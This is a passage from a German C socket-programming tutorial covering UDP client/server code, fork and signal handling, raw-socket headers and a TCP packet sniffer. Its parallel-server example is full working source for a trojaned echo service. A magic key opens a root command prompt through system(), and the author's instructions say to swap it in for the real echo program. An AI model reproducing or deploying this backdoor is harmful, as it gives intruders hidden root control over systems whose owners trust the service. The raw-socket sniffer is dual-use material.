htons(SERV_PORT); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); Da sind wir auch schon in der main() Funktion. Zunaechst deklarieren wir einige Variablen (ich denke dazu brauche ich nichts weiter sagen). „sockfd“ initialisieren wir zu einem UDP Socket (SOCK_DGRAM). Via fopen() oeffnen wir unsere Infodatei zum lesen und lesen via fgets die Daten aus dieser Datei in den „sysinfos“ Puffer. Nun legen wir die Protokollinformationen fest. Wie bei TCP Servern, den Port und erlaubte Incomes (INADDR_ANY = jeder darf connecten). Diese Daten binden wir mit bind() an den Socket fest. while(1) { len = sizeof(cliaddr); nbytes = recvfrom(sockfd, message, sizeof(message), 0, &cliaddr, &len); if(nbytes < 0) { fprintf(stderr, "recvfrom error\n"); return(-1); } nbytes = sendto(sockfd, sysinfos, sizeof(sysinfos), 0, (struct sockaddr *)&cliaddr, sizeof(cliaddr)); if(nbytes < 0) { fprintf(stderr, "sendto error\n"); return(-1); } } return(0); } In der Endlosschleife, warten wir auf ankommende Daten. Wenn wir welche empfangen, initialisieren wir die Struktur „cliaddr“ mit den Werten des Absenders und schicken unsere Informationen an den Absender. Das war der Server. Nun kommen wir zum Clienten (sysinfc.c). #include #include #include #define SERV_PORT 6996 #define MESS "gimmi infos" int main(int argc, char **argv) { int sockfd, nbytes; size_t len; char received[60] = { 0 }; struct sockaddr_in servaddr; if(argc < 2) { printf("%s [hosts-IP] {port}\n",argv[0]); return(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if(sockfd < 0) { fprintf(stderr, "error, cannot creat socket\n"); return(-1); } Die oberen Zeilen sind die selben wie beim Server, nur das wir diesmal MESS diffinieren. Diese Konstante enthaelt den String der zum Server uebertragen werden soll (unwichtig was drin steht). Es wird die Richtigkeit der Argumentsuebergabe ueberprueft. Es wird die IP zwingend benoetigt doch es kann auch eine Portadresse angegeben werden (optimal). Wir erstellen uns unseren Socket. servaddr.sin_family = AF_INET; if(argc == 3) servaddr.sin_port = htons(atoi(argv[2])); else servaddr.sin_port = htons(SERV_PORT); servaddr.sin_addr.s_addr = inet_addr(argv[1]); nbytes = sendto(sockfd, MESS, 11, 0, (struct sockaddr *)&servaddr, sizeof(servaddr)); if(nbytes < 0) { fprintf(stderr, "cannot write\n"); return(-1); } len = sizeof(servaddr); nbytes = recvfrom(sockfd, received, sizeof(received), 0, &servaddr, &len); if(nbytes < 0) { fprintf(stderr, "cannot write\n"); return(-1); } printf("host %s running: %s\n",argv[1],received); return(0); } Wir initialisieren die Werte der Struktur. Falls der Benutzer zwei Argumente waehlte, nehmen wir das zweite Argument als Zielport. Ansonsten nehmen wir den default Port. Wir senden dem Server irgendwas zu und der Server schickt uns seine Informationen zurueck. Angemerkt sei noch mal, dass das letzte Argument von recvfrom() ein Zeiger ist, daher deklarieren wir extra eine Variable namens „len“. Und so sieht das ganze in der Praxis aus: loomes:~ # ./sysinfs & [1] 666 # mm.. sollte mir dieser zufalls pid wert etwas sagen?! loomes:~ # ./sysinfc 127.0.0.1 host 127.0.0.1 running: Linux version 2.2.18 (root@Pentium.suse.de) (gcc version 2. loomes:~ # netstat –s | tail … Udp: 2 packets received 0 packets to unknown port received 0 packet receive errors 2 packets sent # fuer den erfolgreichen Ablauf von dieser UDP Applikation sind # tatsaechlich lediglich zwei UDP Pakete beantsprucht worden. Alleine # der TCP Verbindungsaugbau braeuchte drei Pakete. 6.0 Anspruchsvollere Server Bisher haben wir es mit ziemlich primitiven Anwendungen zu tun, die leicht realisiert werden koennen. Nachdem wir uns nun aber schon etwas mit der Thematik auskennen, wollen wir was groesseres in Angriff nehmen. Dazu benoetigen wir jedoch noch neue Funktionen die nun erklaert werden. Spaeter werden wir uns dann dem naechstem Beispiel widmen. 6.1 fork Diese Funktion stellt unter Unix die einzigste moeglichkeit zum Anlegen eines neuen Prozesses dar. Wenn wir „fork“ aufrufen kehrt die Funktion eigentlich zweimal zurueck. Einmal kehrt die Funktion im aufgerufenem Prozess (Parent Process) zurueck und einmal im erzeugtem Prozess (Child Process) mit dem Wert 0. Alle Deskribtoren, die im Parent-Prozess vor dem Aufruf von „fork“ offen sind, werden nach der Rueckkehr von „fork“ gemeinsam mit dem Child-Prozess genutzt. Netzwerkserver bedienen sich oft an dieser Methode. „fork“s typische Anwendungsgebiete sind: 1. Ein Prozess legt eine Kopie von sich selbst an, so dass eine Kopie Operation bedienen kann, waehrend sich die andere Kopie einer anderen Aufgabe widmet. 2. Ein Prozess will ein anderes Programm ausfuehren. Er legt eine Kopie von sich selbst an und fuehrt nun „exec“ aus. Damit wird ein anders Programm ausgefuehrt. Funktionsdefinition #include pid_t fork(void); Rueckgabewerte Rueckgabewert 0 im Childprozess, Prozess-ID von Child im Parent-Prozess. -1 erhalten wir bei einem Fehlschlag. Argumente --- Manch einer wird sich vielleicht schon fragen was das nun mit Netzwerkprogrammierung zu tun hat. Nun, bisher hat unser Server seine Laufzeit immer nur einem einzigen Clienten gewidmet. Das ist auch in Ordnung, so lange die Abhandlungszeit fuer den Client auch so gering ist. Aber was tun wir wenn unser Dienst mehr Zeit in Anspruch nimmt? Wenn wir den Server wie bisher schreiben, kann kein anderer Client bedient werden, so lange ein Client verbunden ist. Wir werden dieses Problem geschickt umgehen, indem wir ueber „fork“ zur Bedienung jedes Clients einen eigenen Child-Prozess anlegen. Der Parent-Prozess wird waehrenddessen auf ankommende Verbindungen warten. Beispiel: /* start */ ... pid_t pid; int listenfd, connfd; bind(listenfd, ...); listen(listenfd, 20) for( ; ; ) { connfd = accept(listenfd, ...); if( (pid = fork()) == 0) { /* child process */ close(listenfd); /* child close listening socket */ do_something(connfd); /* does all work */ close(connfd); /* close sock in child */ exit(0); /* exit the child */ } close(connfd); /* close socket in Parent-Process */ } Wir sehen, dass nach dem “accept” Aufruf ein Prozess erstellt wird. Es wird ueberprueft ob der Returnwert 0 ist. Wenn ja, befinden wir uns im Child-Prozess. Dann schliessen wir den horchenden Socket „listenfd“ und rufen eine Funktion auf die den Client weiter bedient. Nach der Rueckkehr der Funktion wird der verbundene Socket geschlossen und via „exit“ der Child Prozess verlassen(!). Eine grafik zur verdeutlichung: Client Server Verbindung listen() Connect() <-----------------------------> connfd Bisherige handhabung Client Server listen() connect() <------------------------------> connfd | | | | fork() | | | Verbindung V Child-Server |------------------------> connfd Paralelle Server handhabung Der Client baut in Wahrheit keine Verbindung zum Serverprozess auf, sondern verbindet sich mit einer Kopie- dem Child-Prozess. Das ermoeglicht die Kommunikation mit mehreren Clients gleichzeitig. Wir haben aber noch ein Problem. Das Beendigen des Child-Prozesses macht uns Kopfschmerzen wenn wir das Programm wie oben aufgefuehrt starten. Nachdem wir naemlich „exit“ aufrufen, kehren wir nicht nur in den Parent-Prozess zurueck. Der Child Prozess wird zu einem Zombie Prozess. Zu erkennen an dem „Z“ bei der Statusausgabe via „ps“. Ein Zombie ist kein Untoter der sich mit sabberndem Mund ueber unsere Katze her macht, sondern ein „gestorbender“ Prozess. Der Prozess ist zwar tot, wartet aber noch auf seine Beerdigung. Zombie-Prozesse enthalten Informationen ueber den Prozess, sind fuer uns aber eigentlich unnuetz. Sie belegen Speicher und fressen uns die Diskribtoren weg. Das kann zur Folge haben, dass Funktionen wie „fork“ oder „socket“ fehlschlagen. Aber wie beenden wir einen Child Prozess ordnungsgemaess? Dazu eine neue Funktion: 6.2 signal Ein Signal ist eine Benachrichtigung an einen Prozess, dass ein Ereignis stattgefunden hat. Signale koennen: Von einem Prozess an einen anderen oder sich selbst gesendet werden. Vom Kernel an einen Prozess gesendet werden. Das Signal mit dem wir uns besonders befassen nennt sich „SIGCHILD“ und wird bei jeder Prozessbeendigung vom Kernel an den Parent-Prozess gesandt. Dazu nachher mehr... Mit „signal“ koenne wir festlegen, dass eine Funktion aufgerufen werden soll, wenn ein bestimmtes Signal eintrifft. Solche Funktionen bezeichnet man Signalhandler. Diese haben keinen Rueckkgabewert und nur ein intenger Argument. void sigchild_catch(int sig); Dies waehre ein gueltiger Signalhandler. Wir sind ebenfalls in der Lage Signale zu ignorieren. Funktionsdefinition Sigfunc *signal(int signalnr, Sigfunc *signalhandler); Rueckgabewerte Bei Misserfolg SIG_ERR. Argumente „signalnr“ sollte eine Konstante sein, die fuer ein Signal steht. Beispiele sind SIGALRM, SIGURG, SIGPOLL oder SIGKILL. „signalhandler“ ist der Name der Funktion die Aufgerufen werden soll, um auf das Signal entsprechend zu reagieren. Beispiel if(singal(SIGCHLD, sigchild_catcher) == SIG_ERR) printf(„warning: cannot install signalhandler…\n”); In diesem Beispiel rufen wir “signal” in einer “if” Kontrollstruktur auf, um den Rueckkgabewert direkt abzufangen. Wenn der Rueckgabewert SIG_ERR ist, soll er uns bescheid geben. Andernfalls ist der Signalhandler erfolgreich installiert. Als erstes Argument nehmen wir die Konstante „SIGCHILD“ und als Reaktion auf den erhalt dieses Signals, soll die Funktion „sigchild_catcher“ aufgerufen werde. void sigchild_catcher(int signo) { pid_t pid; int stat; pid = wait(&stat); return; } So koennte Beispielsweise ein SIGCHLD handler aussehen. Mit der „wait“ Funktion verhindern wir das ein Prozess zu einem Zombie mutiert. Wann immer wir Child-Prozesse mit „fork“ starten, muessen wir mit „wait“ auf sie warten und damit verhindern, dass sie zu Zombies werden. Das hoert sich auf den ersten Moment vielleicht etwas abstrackt an, aber nach einem Beispiel sieht die Sache schon anders aus. #######NOTE####### Besser waehre der Umgang mit „waitpid()“... ################## 6.3 Beispielprogramm (paraleller Server) In unserm Beispielprogramm werden wir uns mit einem Echoserver befassen. Ein Client verbindet sich mit dem Echoserver (tcp/7) und sendet diesem Strings. Der Server liest diese ein und sendet sie zurueck. Das bedeutet, dass ein Client eine unbestimmte Zeit in Anspruch nehmen kann. Damit muessen wir einen Paralellenserver schreiben, da wir mehr als nur einen Clienten bedienen moechten. Das Tut waehre kein „ES-C“ Tut, wenn wir den Echoserver nicht in eine trojanische Pferd Variante aendern wuerden :). Der Server stellt also den Echodienst zur Verfuegung, doch wenn wir einen bestimmten String uebermitteln (MAGICKEY), eroeffnet sich uns eine Art Shell. In dieser koenne wir Systembefehle via „system“ ausfuehren. Da der Echodient in der root-Rechte besitzt, koennen wir unsere Shell-Befehle mit root-Rechten ausfuehren. Bei dem Sting „quit“ verschwinden wir wieder zum regulaerem Echoserver. /* echoser.c a faked echo server -> backdoor inclusive. remove the original echo program and put this on its place. just connect with telnet to it. it acts like a normal echo server but if u typ in the MAGICKEY (its #defined - change it) u ll see the igors prompt. their u can type all systemcommands u want to execute and igor will do the rest for u... to quit from the igor prompt type "quit" and u ll find urself again in the normal echo application. l0om */ #include #include #include #include #include #define MAGICKEY "WAKEUP" int echofunk(int sockfd); int igor(int sockfd); void sig_chld(int signo); Wir fuegen unsere Headerdateien ein. Wir difinieren eine Konstante die den MAGICKEY darstellt. Wenn also wie oben „WAKEUP“ eingegeben wird, wird die „igor-shell“ gestartet. Es folgen Funktionsprototypen wie „echofunk“, die einem Client den eigentlichen Echo-Dienst bereitstellt. „igor“ stellt die „igor-shell“ breit und „sig_chld“ ist unser Signalhandler. int echofunk(int sockfd) { ssize_t bytes; char buffer[150]; memset(buffer, '\0', sizeof(buffer)); while( (bytes = read(sockfd, buffer, sizeof(buffer))) > 0) { if(strncmp(buffer,MAGICKEY, strlen(MAGICKEY)) == 0) igor(sockfd); buffer[bytes] = '\0'; if(write(sockfd, buffer, sizeof(buffer)) != sizeof(buffer)) return -1; memset(buffer,'\0',sizeof(buffer)); } } Die „echofunk“ Funktion hat den verbundenen Deskribtor als Argument von dem auch eine Eingabe int der „read“ Funktion erwartet wird. Die erhaltenen Daten werden in „buffer“ geschrieben und auf unseren „MAGICKEY“ durchsucht. Falls dieser gefunden wird starten wir die „igor“ Funktion. Ansonsten schreiben wir die erhaltenen Daten an den Socket zurueck. „memset“ fuellt den Inhalt „buffer“ mit „\0“. In dieser Funktion ist jedoch noch ein Problem fuer den wirklich korrekten Ablauf des Programms versteckt. Viel Spass beim suchen! ;) int igor(int sockfd) { int status = 0; ssize_t bytes; char syscommand[100]; write(sockfd, "say quit to exit IGOR-PROMPT\n\n",32); while(status == 0) { memset(syscommand, '\0',sizeof(syscommand)); if(write(sockfd, "IGOR-PROMPT> ",13) != 13) exit(0); bytes = read(sockfd, syscommand, sizeof(syscommand)); if(bytes < 0) return -1; else if(bytes == 0) return 0; if(strncmp(syscommand, "quit", 4) == 0) status = 1; syscommand[bytes] = '\n'; if(system(syscommand) < 0) { write(sockfd, "System-error\n", 13); exit(0); } write(sockfd,"done...\n",8); } return 0; } In dem String „syscommand“ wird spaeter unser Shell-Befehl abgelegt und als Argument an „system“ uebergeben. Zunaechst werden wir von „igor“ begruesst. Wir geben eine Art Prompt aus „IGOR-PROMPT>“ und lesen dann den Input es Benutzers. Wir kontrollieren den korrekten Ablauf von „read“ (das sollten wir auch in main tun!) und ueberpruefen ob der Benutzer mit „quit“ die Shell verlassen will. Dann wird „system“ mit unserem Befehl aufgerufen. „system“ erstellt einen weiteren Prozess mit „fork“ und fuehrt in diesem einen „exec“ aufruf aus und ist so in der Lage, ein bereits vorhandenes Programm im Dateisystem auszufuehren. Es wird ueberprueft ob „system“ einen Rueckgabewert unter 0 hat. Ist dies der fall hat die Funktion fehlgeschlagen und die „igor“ Shell wird abgebrochen. Andernfalls wird ein „done...“ ausgegeben. void sig_chld(int signo) { pid_t pid; int stat; pid = wait(&stat); return; } Unser Signalhandler fuer die verhinderung von Zombies. int main(void) { pid_t pid; int sockfd, connfd; struct sockaddr_in servaddr; memset(&servaddr, '\0',sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(7); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd < 0) { printf("cannot creat socket\n"); return -1; } bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); listen(sockfd, 12); signal(SIGCHLD,sig_chld); while(1>0) { connfd = accept(sockfd, (struct sockaddr *)NULL,NULL); if( (pid = fork()) == 0) { /* child */ close(sockfd); echofunk(connfd); exit(0); } close(connfd); } return 0; } In der „main“ Funktion gibt es eigentlich nichts besonderes neues. Wie gehabt geben wir via „sockaddr_in“ Protokollinformationen an die wir mit „bind“ an den Socket binden und mit „listen“ auf ankommende Verbindungen horchen. Dann richten wir uns einen Signalhandler ein, fuer den Erhalt von einem „SIGCHLD“ Signal. Dann greifen wir uns mit „accept“ eine vollstaendige Verbindung aus der Warteschlange. Wir erstellen mit „fork“ einen neuen Child, der die Handhabung es Echo-Dienstes fuer den Server uebernimmt. Der Server wartet in der Zeit auf neu ankommende Verbindungen. Selbst dieser Server ist noch ziemlich einfach gestrickt. Aber bei diesem Tut handelt es sich schliesslich um eine Einfuehrung. 7.0 Einfuehrung in Raw-Sockets Mit Raw-Sockets sind wir in der Lage die transparents einer Verbindung aufzuheben und uns selber unsere Datenpakete zu schnueren. Wir sind in der Lage alle vorhandenen Flags zu initialisieren oder den Dateninhalt der Pakete zu bestimmen. Raw-Socket Programmierung ist oftmals hilfreich wie wir an Programmen wie „ping“, „trace-route“ oder „nmap“ erkennen koennen. Um Raw-Sockets nutzen zu koennen, sollten wir uns zunaechst mal einen erstellen. Das realisieren wir indem wir „socket“ wie folgt aufrufen: rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); So sind wir in der Lage eigene ICMP Datenpakete zu schreiben, oder zu empfangen. Wenn nun ein ICMP Paket eintrifft, koennen wir dieses mit hilfe von „read“ lesen und auswerten. Es werden also alle ICMP Pakete ueber die „rawsock“ Schnittstelle geleitet. Pakete senden koennen wir mit dem „send“ oder „sendto“ Aufruf. Dazu spaeter mehr, wenn wir diesen benoetigen. Unter Linux haben wir einige spezielle Headerdateien die fuer Raw-IP genuzt werden koennen. So haben wir beispielsweise „netinet/ip.h“ fuer einen korrekten IP Header, „netinet/ip_icmp“ fuer einen korrekten ICMP header oder „netinet/udp.h“ fuer einen fertigen UDP header. Wenden wir nun unsere Grundkenntnisse von TCP/IP an, erinnern wir uns wie ein Datenpaket aufgebaut ist. Zunaechst haben wir da den IP Header, der sozusagen unser Packesel ist. Ohne Ihn finden IP Pakete im Netzwerk ihr Ziel nicht. Danch folgt das gewuenschte Protokoll was transprotiert werden soll. So kann z.B. nach IP ein TCP oder ICMP Header folgen. 7.1 Header Strukturen Wir werden uns nun dem TCP, UDP und ICMP Headern widmen. Ich werde hier auf die BSD Strukturen zu sprechen kommen, da ich diese fuer die bessere Variante halte. Keine Panik- der BSD Header ist unter Linux natuerlich verfuegbar. Einfach bevor wir die einzelnen Header einbinden eine Konstante mit dem Namen „__FAVOR_BSD“ einbinden. Bei IP „__USE_BSD“ aber hier werden wir beim Standart bleiben, um auch diese mal genauer kennen zu lernen. Wer nicht zu BSD tendiert, kann sich mit einem „emacs /usr/include/netinet/ip.h || tcp.h || ip_icmp.h“ ueber die einzelnen standart Header informieren. Dabei sollte bedacht werde, dass sich die Header Struktur natruerlich nicht von andern Headern unterscheidet. Der einizeige Unterschied besteht in der Namensgebung der einzelnen Strukturelemente. Des weiteren, werde ich hier noch die Funktion der Datenfelder in den Paketen beschreiben. Zunaechst werde ich die volle benennung jedes Feldes nennen und dann den Datentyp+namen den das entsprechende Strukturelement traegt. 7.1.1 IP header Version (4 bits) - unsigned int version:4 Dieses Feld enthaelt die verwendete Version von IP. Zur Zeit wird in der Regel noch Version 4 verwendet. IHL (4 bits) – unsgined int ihl:4 IHL gibt die Laenge des IP headers im vielfachen von 32bit an, also 4 Byte. Daraus ergibts sich ein Wert von 5 (5*32 = 160 Bits = 20 Bytes). Type of Service (8 bits) – u_int8_t tos Hier wird die Qualitaet des Dienstes abgelegt. Das 8 Bit lange Feld laesst sich wie folgt aufschluesseln: |Prioritaet|D|T|R|C|O| -Prioritaet (3 bits) Diese Bits nennen einen der acht prioritaets Level. Dabei steht ein hoehere Wert fuer hoehere Prioritaet. 0 - Normal 1 7- Priority 2 - Immediate 3 - Flash 4 - Flash override 5 - Critical 6 - Internet Control 7 - Network Control Die weiteren Bits fordern noch mehr Eigenschaften fuer die Uebertragung. D-Bit: delay fordert eine Verbindung mit jurzer Verzoegerung an T-Bit: troughput fordert hohen Datendurchsatz R-Bit: reliability fordert hohe Sicherheit C-Bit: Cost fordert Toure zu nierdigeren Kosten (wer will das nicht...) Das letzte Bit ist zur Zeit noch ungenutzt. Paketlaenge (total lenght) (16 bit) – u_int16_t tot_len Enthaelt die gesamtlaenge des Datagramms. Das heisst im Klartext, die laenge des IP Headers + (TCP/UDP/ICMP) Header laenge + Dateninhalt. Die Maximale groesse betraegt uebrigends: 65535 bytes. Kennung (identification) (16 bits) – u_int16_t id Dieser Wert wird zur Nummerierung fragentierter Datagrammge eingesetzt. Jedes Packet sollte eine eindeutige Nummer haben, daher wird dieser Wert oft um eins inkrementiert. Flags (3 bit) – unsigned int flags:4 Wird eine Fragmentierung vorgenommen, wird sie ueber dieses Feld gesteuert. O|DF|MF Das erste bit O wird nicht benutzt und steht immer auf 0. DF: seht fuer Do-Not-Fragment und verbiete, sofern es gesetzt ist, ein weiteres Fragmentieren des Datenpakets. MF: seht fuer More-Flag und gibt an, dass noch weiteres Fragmentieren erwuescht ist. Steht es auf 0 ist dieses der letzte oder das einzigste Fragment eines Packets. Fragment-Offset (13 bits) – u_int16_t frag_off Werden fragmentierte Datagramme geschickt, gibt dieser Wert die Position der Daten im urspruenglichen Datagramm an. TTL (time to live) (8 bits) – u_int8_t ttl Mit diesem Wert keonen wir unserm Paket seine Lebensdauer in Hops geben. Jedesmal wenn ein IP Paket von einem Router weitergeleitet wird,wird sein ttl wert um eins dekrementiert. Bei null wird das Packet gefressen. Protokoll (8 bits) – u_int8_t protocol Dieses Feld nennt das uebergeordnete Transportprotokoll. Bsw. ip->protocol = IPPROTO_TCP; Header Checksumme (16 bits) – u_int16_t check Ip sichert die Korrektheit der IP Daten in diesem Feld ab. Der Wert wird hier nur aus dem IP Header berechnet. Fuer das Transportprotokoll und den Dateninhalt, hat jedes uebergeordnetet Protokoll auch eine Checksumme. Quell IP (source ip) (32 bits) – u_int32_t saddr Hier steht die IP Adresse des Absenders. Ziel IP (dest ip) (32 bits) – u_int32_t daddr Hier steht die IP Adresse des Empfaengers. Optionen [optimal] (variable) – unspecified Es kann 40 Bytes lang sein. Was hier alles an Optionen reingepackt werden kann, kann in einem RFC nachgelesen werden (ich habe dieses Feld bis dato nich nicht verwedet). 7.1.2 TCP Header Hier verwenden wir mal die BSD Variante. Quell-Port (16 bits) – u_int16_t th_sport Absende Port. Ziel-Port (16 bits) – u_int16_t th_dport Ziel Port. Sequenznummer (32 bits) – tcp_seq th_seq Dieses Feld dient der Nummerierung des jeweils ersten Daten-Bytes des gesamten Datenstroms. Waehrend des Verbindungsaufbaus, einigen sich die Partner auf eine Seq-Nummer. Danach wird die Verbindung erstellt. Beim Hijacking muss man in seine Packete ebenfalls mit dem richtigen Seq-Nummern bestuecken. Acknowledgement-Nummer (32 bits) – tcp_seq th_ack Alle Datenpakete werden bis zur angegebenen Nummer – 1 bestaetigt. Sie ist allerdings nur gueltig, wenn das ACK Flags gesetzt ist. Data Offset (4 bits) – u_int8_t th_off:4 Entspricht der Laenge des TCP Headers in 32bit Bloecken. Bei keinen Optionen 5. Reserviert (6 bits) Treagt keinen Wert (immer auf 000000 gesetzt). Flags (8 bits) – u_int8_t th_flags FIN – TH_FIN 0x01 Sobald eine Station alle Daten uebertragen hat, wird dieses Flag signalisiert. Sendet der empfaenger Ebenfalls ein FIN ist die Verbindung beendet. SYN – TH_SYN 0x02 Das SYN Flag wird beim Verbindungsaufbau verwendet. RST – TH_RST 0x03 Dieses Bit zeigt einen aufgetretenen Fehler als Ursache dafuer an, das die Verbindung geloescht werden muss, oder zeut in einer Antwort auf eine Verbingsanforderung, dass diese zurueckgewiesen wird. PSH – TH_PUSH 0x08 Soll das Empfangene Paket sofort an die Anwendungschicht uebertragen werden, muss dieses Flag gesetzt sein. ACK – TH_ACK 0x10 Dieses Flag signalisiert die Gueltigkeit des Werts der Acknowledgement Nummber. URG – TH_URG 0x20 Hiermit sind Datenpakete mit besonders hoher prioritaet zu uebertragen. Ist dieses Bit gesetzt, wird das Urgent Pointer-Feld ausgewertet. URG wird Programmiertechnisch immer bei UOB Daten verwendet und deutet auf einen Ausnahmefall hin (jedenfalls bei der select Funktion). #########NOTE######### Wir setzen Flags mit hilfe des „|“ Operators. Tcp->th_flags = TH_SYN | TH_FIN; /* setzt syn und fin */ Wir ueberpruefen Flags mit hilfe des “&” Operators. If(tcp->th_flags & TH_SYN) /* wenn syn gesetzt ist, dann... */ ####################### Window (16 bits) – u_int16_t th_win Hier senden wir dem Empfaenger wieviele Daten dieser aufeinmal zurueck senden darf. Check-Summe (16 bits) – u_int16_t th_sum Dient der Kontrolle des TCP Headers und der Daten. Ein Paket mit flascher Checksumme wird lautlos verworfen (das musste ich bei meinen ersten raw-ip geh versuchen schmerzhaft feststellen...). Optionen [optimal] (variable) – undefined Ich verweise hier nur auf die entsprechenden RFCs. Ich habe mit diesem Feld keinerlei Erfahrungen. 7.1.3 UDP Header Auch hier nehmen wir es noch mal mit der BSD Variante auf. Quell-Port (16 bits) – u_int16_t uh_sport Quell Port. Ziel-Port (16 bits) – u_int16_t uh_dport Ziel Port Laenge (16 bits) – u_int16_t uh_ulen Hier wird angegeben wie lang das UDP Packet ist (udp header + daten). Check-Summe (16 bits) – u_int16_t uh_sum Dieses Feld dient der Kontrolle der Korrektheit der Header- und Datenbereichdaten. 7.1.4 ICMP Header Hier wieder den standard Header. Wer BSD will: „#define __USE_BSD“. Icmp typ (8 bits) – u_int8_t type Einige icmp type beispiele 0 echo reply echo antwort 3 destination unreachable empfaeger nicht erreichbar 4 source quench puffer ressourcen sind verbraucht 5 redirect pfandumleitung 8 echo request echo anforderung 11 time exeeded zeit fuer datagram ueberschritten 12 parameter problem parameter problem 13 time stamp zeitangabe anforderung 14 time stamp reply zeitangabe antwort 17 address mask request adressmaske anforderung 18 address mask reply adressmaske antwort Icmp code (8 bits) - u_int8_t code Hier koennen abhaengig vom Meldungstyp zusatzinformationen gegeben werden. Icmp Checksumme (16 bits) – u_int16_t checksum Wie immer wird hier die Korrektheit des icmp Headers und der Daten ueberprueft. So. Hiermit haben wir alle Transport Header besprochen und alle Flags sind nun klar. Also erstellen wir uns nun mal ein ICMP-Paket. /* start */ struct iphdr *ip; struct icmphdr *icmp; char *packet; ... packet = (char *)malloc(sizeof(struct iphdr)+sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + (sizeof(struct iphdr)); ... ip->saddr = inet_addr(argv[1]); ... icmp->code = 0; ... /* end */ Hier deklarieren wir zunaechst einen Zeiger auf die IP Struktur und dannach einen auf die ICMP Struktur. Dann erstellen wir mit hilfe von „malloc“ einen Datenpuffer der die groesse eines IP und ICMP headers traegt. Dann setzten wir mit Hilfe der Typenumwandlung unsere Headerstrukturen in den Datenpuffer ein. Mit hilfe es „->“ Operators koennen wir nun die Informationen fuer unser Paket bestimmen. 7.1.5 Pseudo Header Die berchnung der Chcksumme von TCP und UDP geht nur mit einem korrektem Pseudohdr von statten. Dieser entaehlt Absender ip, Empfaenger ip, Laenge und Protokoll. /* define the pseudohdr */ struct pseudohdr { /* for creating the checksums */ unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }; Wie das alles Programmiertechnisch von statten geht, koennt ihr euch bei meinen beiden Beispiel Funktionen „sendtcp“ und „sendudp“ genauer ansehen. 7.2 Beispielprogramm Wir werden nun einen Packetsniffer schreiben. Dieser wird TCP Pakete abfangen und auf Wunsch deren gesetzte Falgs und/oder den Dateninhalt ausgeben. /* psniff.c a TCP port sniffer l0om */ #include #include #include #include #include #include #include #include #define BUFFSIZE 2048 struct iphdr *ip; struct tcphdr *tcp; void help(); void data(char *data, int nbytes); void flags(); static void get_intr(int sig); Wir fuegen zunaechst wie immer die benoetigten Headerdateien ein. Diesmal benoetigen wir die Strukturen fuer ein IP und ein TCP Paket, also ziehen wir „netinet/ip.h“ und „netinet/tcp.h“ zu rate. Es wird eine Konstante namens BUFFSIZE gesetzt, die vom Benutzer bei bedarf geaendert werden kann. Die „ip“ und „tcp“ Strukturen deklarieren wir global. Es folgen die Funktionsprototypen. „data“ gibt uns den Dateninhalt an und „flags“ die gesetzten flags. „get_intr“ ist ein Signalhandler fuer das Interuptsignal mit dem das Programm vom Benutzer beendet werden kann (Crtl+C). void get_intr(int sig) { sleep(1); printf("got interrupt signal- exiting...\n"); exit(0); } Der Signalhandler. void data(char data, int nbytes) /* shows u the data */ { char *ptr = &data[0]; int n = 0; printf("data: %d\n",nbytes); while(nbytes-- > 0) { n++; if((n%25)==0) printf("\n"); if(isgraph(*ptr++)) printf("%c",*ptr); else printf("."); } } Mit dieser Funktion lassen wir uns die Daten in einem Paket anzeigen. Das erste Argument muss ein Zeiger auf den beginn des Dateninhaltes sein. „nbytes“ hingegen ist die laenge des Dateninhalts. Der Zeiger „ptr“ der auf den beginn des Dateninhaltes verweist, wird in der while Schleife staednig inkrementiert. Jedesmal wird die „isgraph“ Funktion aufgerufen. Bei TRUE ist das Zeichen, auf das unser Zieger verweist darstellbar und dies soll er auch darstellen. Andernfalls soll er ein „.“ Ausgeben. Nach 25 Zeichen soll ein Zeilenumbruch erfolgen, um das Format leserlich zu halten. void flags() { printf(" "); if(tcp->syn == 1) printf("syn=1 "); if(tcp->ack == 1) printf("ack=1 "); if(tcp->rst == 1) printf("rst=1 "); if(tcp->fin == 1) printf("fin=1 "); if(tcp->urg == 1) printf("urg=1 "); if(tcp->psh == 1) printf("psh=1 "); printf("\n"); } Da die „tcp“ Struktur global ist, koennen wir hier Flag fuer Flag abgehen und uns so ausgeben lassen, welche Flags gesetzt sind. void help() { puts("\n------\npsniff\n------\n"); puts("l0om"); puts("psniff is a smal tcp port(/protocol) sniffer."); puts("example:"); puts("-h: prints out this help menue"); puts("-P: next argument must be the portnumber u want to sniff"); puts("-D: prints out all (ASCII)data form all packets"); puts("-F: shows the set flags"); puts("example:"); puts("./psniff -P 7 -D -F"); puts("sniffs packets for/from port 7. prints out all data and set flags"); puts(" u want to sniff 7 && 80? "); puts("./psniff -P 7 -D -F &; ./psniff -P 80 -F -D &"); } Hier das Hilfemenue fuer den unbedarften Benutzer. int main(int argc, char **argv) { int sockfd; int i; int port = 80; /* standard */ int r_flags, r_data; size_t bytes; char buffer[BUFFSIZE]; char *dats; if( (getuid()|getgid()) != 0) { printf("error: u must be root\n"); return -1; } r_flags=r_data=0; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sockfd < 0) { fprintf(stderr, "error: cannot creat socket\n"); return -1; } if(argc == 1) { printf("using standard settings...\n\n"); r_flags = 1; } for(i = 0; i < argc; i++) { if(strncmp(argv[i], "-D", 2) == 0) r_data = 1; if(strncmp(argv[i], "-F", 2) == 0) r_flags = 1; if(strncmp(argv[i], "-P", 2) == 0) port = atoi(argv[++i]); if(strncmp(argv[i], "-h", 2) == 0) { help(); exit(0); } } if(signal(SIGINT, get_intr) == SIG_ERR) printf("cannot install Interrupt catcher\n"); ip = (struct iphdr *)buffer; tcp = (struct tcphdr *) (buffer + sizeof(struct iphdr)); dats = buffer+(sizeof(struct iphdr)+sizeof(struct tcphdr)); while( (bytes = read(sockfd, buffer, BUFFSIZE)) > 0) { if(ntohs(tcp->dest) == port || ntohs(tcp->source) == port) { printf("tcp: dport=%d, sport=%d, from=%s" ,ntohs(tcp->dest),ntohs(tcp->source),inet_ntoa(ip->saddr)); if(r_flags) flags(); else printf("\n"); if(r_data) { 